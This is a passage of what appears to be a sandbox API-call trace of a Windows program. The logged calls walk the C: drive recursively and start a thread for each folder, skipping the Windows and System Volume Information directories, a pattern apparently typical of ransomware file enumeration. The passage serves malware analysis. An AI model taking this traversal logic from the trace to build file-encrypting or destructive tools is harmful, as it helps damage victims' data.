out: _Dest="C:\\Config.Msi") returned="C:\\Config.Msi" [0139.459] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e9878, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18c [0139.460] FindNextFileW (in: hFindFile=0x8d9ad0, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0139.460] wcscmp (_String1="Documents and Settings", _String2=".") returned 1 [0139.460] wcscmp (_String1="Documents and Settings", _String2="..") returned 1 [0139.460] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x36) returned 0x8d9b10 [0139.460] wcscpy (in: _Dest=0x8d9b10, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0139.460] wcscat (in: _Dest=0x8d9b10, _Source="Documents and Settings" | out: _Dest="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0139.460] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d9b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x190 [0139.461] FindNextFileW (in: hFindFile=0x8d9ad0, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xc7151d00, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0139.461] wcscmp (_String1="hiberfil.sys", _String2=".") returned 1 [0139.461] wcscmp (_String1="hiberfil.sys", _String2="..") returned 1 [0139.461] FindNextFileW (in: hFindFile=0x8d9ad0, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0139.461] wcscmp (_String1="MSOCache", _String2=".") returned 1 [0139.461] wcscmp (_String1="MSOCache", _String2="..") returned 1 [0139.461] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x1a) returned 0x8e98a0 [0139.462] wcscpy (in: _Dest=0x8e98a0, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0139.462] wcscat (in: _Dest=0x8e98a0, _Source="MSOCache" | out: _Dest="C:\\MSOCache") returned="C:\\MSOCache" [0139.462] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e98a0) returned 1 [0139.462] FindNextFileW (in: hFindFile=0x8d9ad0, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xc67f2660, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0139.462] wcscmp (_String1="pagefile.sys", _String2=".") returned 1 [0139.462] wcscmp (_String1="pagefile.sys", _String2="..") returned 1 [0139.462] FindNextFileW (in: hFindFile=0x8d9ad0, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0139.462] wcscmp (_String1="PerfLogs", _String2=".") returned 1 [0139.463] wcscmp (_String1="PerfLogs", _String2="..") returned 1 [0139.463] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x1a) returned 0x8e98a0 [0139.463] wcscpy (in: _Dest=0x8e98a0, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0139.463] wcscat (in: _Dest=0x8e98a0, _Source="PerfLogs" | out: _Dest="C:\\PerfLogs") returned="C:\\PerfLogs" [0139.463] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e98a0) returned 1 [0139.463] FindNextFileW (in: hFindFile=0x8d9ad0, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8c247d80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x8c247d80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0139.463] wcscmp (_String1="Program Files", _String2=".") returned 1 [0139.463] wcscmp (_String1="Program Files", _String2="..") returned 1 [0139.463] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x24) returned 0x8d8838 [0139.463] wcscpy (in: _Dest=0x8d8838, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0139.463] wcscat (in: _Dest=0x8d8838, _Source="Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0139.463] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d8838, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x194 [0139.464] FindNextFileW (in: hFindFile=0x8d9ad0, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x92975e80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x92975e80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0139.464] wcscmp (_String1="Program Files (x86)", _String2=".") returned 1 [0139.464] wcscmp (_String1="Program Files (x86)", _String2="..") returned 1 [0139.464] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x30) returned 0x8da7f8 [0139.464] wcscpy (in: _Dest=0x8da7f8, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0139.464] wcscat (in: _Dest=0x8da7f8, _Source="Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0139.464] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8da7f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x198 [0139.465] FindNextFileW (in: hFindFile=0x8d9ad0, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0139.465] wcscmp (_String1="ProgramData", _String2=".") returned 1 [0139.465] wcscmp (_String1="ProgramData", _String2="..") returned 1 [0139.465] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e98a0 [0139.465] wcscpy (in: _Dest=0x8e98a0, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0139.465] wcscat (in: _Dest=0x8e98a0, _Source="ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0139.465] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e98a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19c [0139.466] FindNextFileW (in: hFindFile=0x8d9ad0, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0139.466] wcscmp (_String1="Recovery", _String2=".") returned 1 [0139.466] wcscmp (_String1="Recovery", _String2="..") returned 1 [0139.466] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x1a) returned 0x8e98c8 [0139.466] wcscpy (in: _Dest=0x8e98c8, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0139.466] wcscat (in: _Dest=0x8e98c8, _Source="Recovery" | out: _Dest="C:\\Recovery") returned="C:\\Recovery" [0139.466] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e98c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a0 [0139.467] FindNextFileW (in: hFindFile=0x8d9ad0, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa1602bc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0139.467] wcscmp (_String1="System Volume Information", _String2=".") returned 1 [0139.467] wcscmp (_String1="System Volume Information", _String2="..") returned 1 [0139.467] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3c) returned 0x8d2470 [0139.467] wcscpy (in: _Dest=0x8d2470, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0139.467] wcscat (in: _Dest=0x8d2470, _Source="System Volume Information" | out: _Dest="C:\\System Volume Information") returned="C:\\System Volume Information" [0139.467] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2470) returned 1 [0139.467] FindNextFileW (in: hFindFile=0x8d9ad0, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0139.468] wcscmp (_String1="Users", _String2=".") returned 1 [0139.468] wcscmp (_String1="Users", _String2="..") returned 1 [0139.468] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x14) returned 0x8e56f8 [0139.468] wcscpy (in: _Dest=0x8e56f8, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0139.468] wcscat (in: _Dest=0x8e56f8, _Source="Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0139.468] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e56f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a4 [0139.469] FindNextFileW (in: hFindFile=0x8d9ad0, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0139.469] wcscmp (_String1="Windows", _String2=".") returned 1 [0139.469] wcscmp (_String1="Windows", _String2="..") returned 1 [0139.469] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e5738 [0139.469] wcscpy (in: _Dest=0x8e5738, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0139.469] wcscat (in: _Dest=0x8e5738, _Source="Windows" | out: _Dest="C:\\Windows") returned="C:\\Windows" [0139.469] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e5738) returned 1 [0139.469] FindNextFileW (in: hFindFile=0x8d9ad0, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0139.469] FindClose (in: hFindFile=0x8d9ad0 | out: hFindFile=0x8d9ad0) returned 1 [0139.469] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f3c10) returned 1 [0139.469] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e5bd8) returned 1 [0139.469] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e5f68) returned 1 Thread: id = 1620 os_tid = 0x680 [0139.470] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x24) returned 0x8d8868 [0139.470] wcscpy (in: _Dest=0x8d8868, _Source="C:\\$Recycle.Bin" | out: _Dest="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0139.470] wcscat (in: _Dest=0x8d8868, _Source="\\" | out: _Dest="C:\\$Recycle.Bin\\") returned="C:\\$Recycle.Bin\\" [0139.470] wcscat (in: _Dest=0x8d8868, _Source="*" | out: _Dest="C:\\$Recycle.Bin\\*") returned="C:\\$Recycle.Bin\\*" [0139.470] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x8f3c10 [0139.470] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9ad0 [0139.471] wcscmp (_String1=".", _String2=".") returned 0 [0139.471] FindNextFileW (in: hFindFile=0x8d9ad0, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.471] wcscmp (_String1="..", _String2=".") returned 1 [0139.471] wcscmp (_String1="..", _String2="..") returned 0 [0139.471] FindNextFileW (in: hFindFile=0x8d9ad0, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0139.471] wcscmp (_String1="S-1-5-21-3388679973-3930757225-3770151564-1000", _String2=".") returned 1 [0139.471] wcscmp (_String1="S-1-5-21-3388679973-3930757225-3770151564-1000", _String2="..") returned 1 [0139.471] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7e) returned 0x8f70a8 [0139.471] wcscpy (in: _Dest=0x8f70a8, _Source="C:\\$Recycle.Bin" | out: _Dest="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0139.471] wcscat (in: _Dest=0x8f70a8, _Source="\\" | out: _Dest="C:\\$Recycle.Bin\\") returned="C:\\$Recycle.Bin\\" [0139.471] wcscat (in: _Dest=0x8f70a8, _Source="S-1-5-21-3388679973-3930757225-3770151564-1000" | out: _Dest="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000" [0139.471] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f70a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a8 [0139.472] FindNextFileW (in: hFindFile=0x8d9ad0, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0139.472] FindClose (in: hFindFile=0x8d9ad0 | out: hFindFile=0x8d9ad0) returned 1 [0139.472] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f3c10) returned 1 [0139.472] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8868) returned 1 [0139.472] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d87a8) returned 1 Thread: id = 1621 os_tid = 0x684 [0139.473] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e98f0 [0139.473] wcscpy (in: _Dest=0x8e98f0, _Source="C:\\Config.Msi" | out: _Dest="C:\\Config.Msi") returned="C:\\Config.Msi" [0139.473] wcscat (in: _Dest=0x8e98f0, _Source="\\" | out: _Dest="C:\\Config.Msi\\") returned="C:\\Config.Msi\\" [0139.473] wcscat (in: _Dest=0x8e98f0, _Source="*" | out: _Dest="C:\\Config.Msi\\*") returned="C:\\Config.Msi\\*" [0139.473] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x8f3c10 [0139.473] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0139.473] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f3c10) returned 1 [0139.473] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e98f0) returned 1 [0139.473] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9878) returned 1 Thread: id = 1622 os_tid = 0x688 [0139.474] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x38) returned 0x8d9ad0 [0139.474] wcscpy (in: _Dest=0x8d9ad0, _Source="C:\\Documents and Settings" | out: _Dest="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0139.474] wcscat (in: _Dest=0x8d9ad0, _Source="\\" | out: _Dest="C:\\Documents and Settings\\") returned="C:\\Documents and Settings\\" [0139.474] wcscat (in: _Dest=0x8d9ad0, _Source="*" | out: _Dest="C:\\Documents and Settings\\*") returned="C:\\Documents and Settings\\*" [0139.474] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x8f3c10 [0139.474] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0139.474] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f3c10) returned 1 [0139.474] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d9ad0) returned 1 [0139.474] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d9b10) returned 1 Thread: id = 1623 os_tid = 0x6b0 [0139.485] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x26) returned 0x8d87a8 [0139.485] wcscpy (in: _Dest=0x8d87a8, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0139.485] wcscat (in: _Dest=0x8d87a8, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0139.485] wcscat (in: _Dest=0x8d87a8, _Source="*" | out: _Dest="C:\\Program Files\\*") returned="C:\\Program Files\\*" [0139.485] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x8f3c10 [0139.485] FindFirstFileW (in: lpFileName="C:\\Program Files\\*", lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8c247d80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x8c247d80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9b10 [0139.485] wcscmp (_String1=".", _String2=".") returned 0 [0139.485] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8c247d80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x8c247d80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.485] wcscmp (_String1="..", _String2=".") returned 1 [0139.485] wcscmp (_String1="..", _String2="..") returned 0 [0139.485] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0139.485] wcscmp (_String1="Common Files", _String2=".") returned 1 [0139.485] wcscmp (_String1="Common Files", _String2="..") returned 1 [0139.485] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3c) returned 0x8d2470 [0139.485] wcscpy (in: _Dest=0x8d2470, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0139.485] wcscat (in: _Dest=0x8d2470, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0139.485] wcscat (in: _Dest=0x8d2470, _Source="Common Files" | out: _Dest="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files" [0139.485] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d2470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18c [0139.486] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0139.486] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0139.486] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0139.486] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x87d660e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d660e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="DVDMAK~1")) returned 1 [0139.486] wcscmp (_String1="DVD Maker", _String2=".") returned 1 [0139.486] wcscmp (_String1="DVD Maker", _String2="..") returned 1 [0139.486] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x36) returned 0x8d9ad0 [0139.486] wcscpy (in: _Dest=0x8d9ad0, 